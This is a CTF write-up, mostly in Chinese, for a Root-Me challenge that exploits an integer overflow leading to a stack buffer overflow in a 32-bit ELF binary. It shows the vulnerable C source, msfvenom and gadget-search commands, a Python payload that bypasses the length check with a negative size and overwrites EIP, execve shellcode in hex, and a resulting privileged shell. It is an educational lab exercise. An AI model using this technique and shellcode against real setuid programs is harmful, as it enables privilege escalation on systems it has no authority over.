Stack buffer and integer overflow

ELF x86 - Stack buffer and integer overflow

永远的神::https://github.com/s1syphu5/RootMe-Challenges/tree/master/System/ELF%20x86%20-%20Stack%20buffer%20and%20integer%20overflow

ret2reg

为了让shell更实用
覆盖EIP, 使用现有的命令的地址,例如jmp esp , 跳转buffer , 后面是shellcode

查找jmp/call esp地址

  1. 可以在共享库中找
  2. 也可以在自身程序找命令
    1
    2
    $objdump -d vulnerable_1 | grep "eax"
    1019: ff d0 call *%eax
    或者启动metasploit-framework
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    msf6 > msfelfscan -j eax vulnerable_1
    [*] exec: msfelfscan -j eax vulnerable_1
    [vulnerable_1]
    0x00002019 call eax
    0x000020dc call eax
    0x0000302f call eax
    0x00002019 call eax
    0x000020dc call eax
    0x0000302f call eax
    0x0000302f call eax
    “jmp/call eax”都行
    use linux/x86/exec

    用msfvenom生成payload

    Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令,它是这两个命令的结合体。
    https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
    msfvenom -p linux/x86/exec CMD=dash R -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python

整数溢出

https://sploitfun.wordpress.com/2015/06/23/integer-overflow/

Storinga value greaterthan maximum supported value is called integer overflow. an integer overflow might lead to stack overflow or heap overflow which could result in arbitrary code execution.
对数组长度检查失效

Similarly storing a value lesser than the minimum supported value is called integer underflow.

261 gets wrapped around and stored as 5 in ‘passwd_len’ variable
000100000101 取8位 为5


本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

#define BUFFER 128


void read_file(int fd)
{
char path[BUFFER+1] = {0};
int size;

if(read(fd, &size, sizeof(int)) != sizeof(int))
{
printf("[-] File too short.\n");
exit(0);
}

if(size >= BUFFER) //绕过检查
{
printf("[-] Path too long.\n");
exit(0);
}
read_data(path, fd, size);

if(path[0] != '/')
{
printf("[-] Need a absolute path.\n");
exit(0);
}

printf("[+] The pathname is : %s\n", path);
}


read 命令

ssize_t read(int fd, void *buf, size_t count);
read() attempts to read up to count bytes **from file descriptor fd into the buffer starting at buf**.

On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.


有符号数补码

Because it’s a signed int variable, 0xffffffff equals to -1.

《深入理解计算机系统》中
有符号数整数表示:
1011=-1*2^3+0*2^2+1*2^1+1*2^0=-5
1000=-8
0111=7
1111=-1
所以0xffffffff=-0x800000+0x7fffffff=-1

逆向

简单逆向后,就知道多少能到EIP

(python -c "print '\xff'*4+'/'+'A'*156+'B'*4)

1
2
Stopped reason: SIGSEGV
0x42424242 in ?? ()

gdb内外地址是不同的

shellcode 放在0xbffffa60
‘\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80’ 33长

(python -c “print ‘\xff’*4+’/‘+’A’*156+’0xbffffa60’[::-1]) > /tmp/data.txt
但是还是段错误

It happens because the addresses are different between inside and outside of gdb (someone told me it’s because the additional environment variables gdb sets).

So to come around it, and find the actual address of the shellcode outside gdb, one can use the -e switch of the strace tool.
The -e switch enables one to set an expression which will affect the tool’s output. For example, for seeing the second argument of read as an address instead of the string.

$strace -e raw=read ./ch11 /tmp/data.txt
重新设置shellcode地址

app-systeme-ch11@challenge02:~$ ./ch11 /tmp/data.txt
[+] The pathname is : /j
                        X™Rfh-p‰áRjhh/bash/bin‰ãRQS‰á ̀

                  °úÿ¿

bash-4.4$ id
uid=1111(app-systeme-ch11) gid=1111(app-systeme-ch11) euid=1211(app-systeme-ch11
-cracked) groups=1111(app-systeme-ch11),100(users)